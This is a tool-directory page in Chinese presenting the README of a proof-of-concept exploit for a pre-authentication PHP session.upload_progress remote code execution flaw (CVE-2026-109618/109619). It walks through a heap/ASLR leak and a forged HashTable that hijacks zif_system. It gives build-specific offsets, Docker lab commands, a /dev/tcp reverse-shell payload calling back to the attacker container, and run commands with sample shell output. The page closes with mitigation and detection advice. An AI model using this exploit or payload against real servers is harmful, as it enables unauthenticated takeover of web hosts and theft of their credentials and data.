Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-109619 — 针对 PHP session.upload_progress 预认证 RCE(PHP2Shell)的漏洞利用概念验证,包含堆/ASLR 泄漏、按构建版本区分的偏移配置文件,以及一体化反向 shell 处理器。 | Kitploit
工具/GitHubGitHub/eqstlab/cve-2026-109619
内存取证漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具Payload 开发实验室与实践
GitHubeqstlab/cve-2026-109619

CVE-2026-109619

针对 PHP session.upload_progress 预认证 RCE(PHP2Shell)的漏洞利用概念验证,包含堆/ASLR 泄漏、按构建版本区分的偏移配置文件,以及一体化反向 shell 处理器。

查看仓库
71天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-109618 / CVE-2026-109619 PHP2Shell RCE

★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress 预认证 RCE PoC ★


概述

PHP2Shell(CVE-2026-109618 / CVE-2026-109619)是 Apache mod_php 下 PHP 中的一个未认证远程代码执行漏洞。 一个精心构造的 multipart/form-data 请求会在请求前的 session.upload_progress 处理器中触发内存耗尽(out-of-memory)退出,留下过期指针,从而通过 Set-Cookie 泄露 Zend 堆和 libphp.so 基址(绕过 ASLR);随后一个伪造的 HashTable 将析构函数重定向到 zif_system,以 Web 工作进程(www-data)身份执行命令。 无需任何认证,且存在漏洞的会话设置默认开启。


受影响版本

类别版本
存在漏洞补丁发布前的 PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x
已修复PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 或更高版本(2026-10-21)
已验证环境官方 php:8.4.26-apache(Debian 13,amd64)

偏移量因构建版本而异(版本 · 架构 · 发行版)。本 PoC 附带针对 8.4.26-apache amd64 的配置文件;其他构建版本需要各自的 profiles/*.json。


影响

  • 以 Web 工作进程账户(www-data)身份执行远程代码
  • 对该账户可访问的文档根目录、应用配置、数据库凭据和密钥拥有完整读写权限
  • 即使在 RCE 之前也可造成内存泄露(堆 / libphp 指针,以及可能的会话令牌和密钥)

环境

受害者 = 使用以下配置的官方 php:8.4.26-apache。攻击者从同一 Docker 网桥上的独立 容器(eqst-kali)发起攻击;反向 shell 会回调其 IP。

# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim          # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim   # e.g. 172.17.0.2

# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
前置条件本实验环境中的状态
PHP 8.2–8.5(未打补丁)+ Apache mod_phpPHP 8.4.26 / Apache 2.4.69,prefork 模式
session.upload_progress.enabled开启(默认值)
session.use_strict_mode0(默认值)
display_errors开启(会泄露第一阶段信息)
memory_limit128M(默认值——保持不变)
post_max_size / upload_max_filesize > memory_limit(使请求体能够触发 OOM)256M(支持上传的应用通常会调高这两个值)
单个 Apache 工作进程(陈旧状态按进程隔离)1

主机说明(WSL2): 在 Windows Docker Desktop(WSL2)上,内核将 libphp 映射到 0x7c..., 低于上游漏洞利用的 0x7F... ASLR 检查范围,因此它会丢弃有效的泄露信息。p2s_shell.py 会自动放宽该范围。在原生 Linux 主机上,该补丁为空操作。


PoC

p2s_shell.py 是一个单一进程,它自行打开监听器、获取上游漏洞利用代码、 根据目标的 PHP 版本从 profiles/*.json 中选择偏移量、触发攻击链,并接收 一个升级为 PTY 的反向 shell(无需单独的 nc)。

PoC/
├── Dockerfile                             # victim image (config inlined)
├── p2s_shell.py                           # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json  # per-build offsets (system/dtor/htdata)
    (vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

一次性前置步骤:将反向 shell 载荷放入受害者的 Web 根目录(命令载体为 14 字节,因此长载荷需写入文件并通过 bash</w/c 执行,与上游做法一致):

KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c"   # /w = web root symlink

在攻击者内部运行 PoC(路径相对于脚本):

# interactive PTY shell  (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php

# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'

它会识别 X-Powered-By: PHP/8.4.26 指纹,加载匹配的配置文件,并弹出 shell:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c  (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

选项:

  • --run 'c1;c2' — 批处理模式(无需交互式终端)
  • --no-pty — 保留普通哑 shell,而不进行 PTY 升级
  • --php-version / --arch — 当 X-Powered-By 被隐藏时,覆盖目标构建
  • --lport — 反向 shell 端口(必须与 /w/c 中内置的端口一致,默认 4444)

缓解措施

  • 将 PHP 升级到 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 或更高版本(唯一完整的修复方案);升级后重启 worker
  • 如果未使用上传进度功能,请设置 session.upload_progress.enabled = Off
  • 在生产环境中设置 display_errors = Off(可阻止随附的 stage-1 泄漏)
  • 以非特权用户运行 PHP,并将文档根目录设为只读;在边缘层对大型 multipart 请求体进行限流
  • 监控包含约 1000 个字段的 multipart 请求、超大请求体、反复出现的 OOM/500 错误、Apache 子进程崩溃,以及 zend_mm_heap corrupted 日志行

分析

  • KR:
  • EN:
下载工具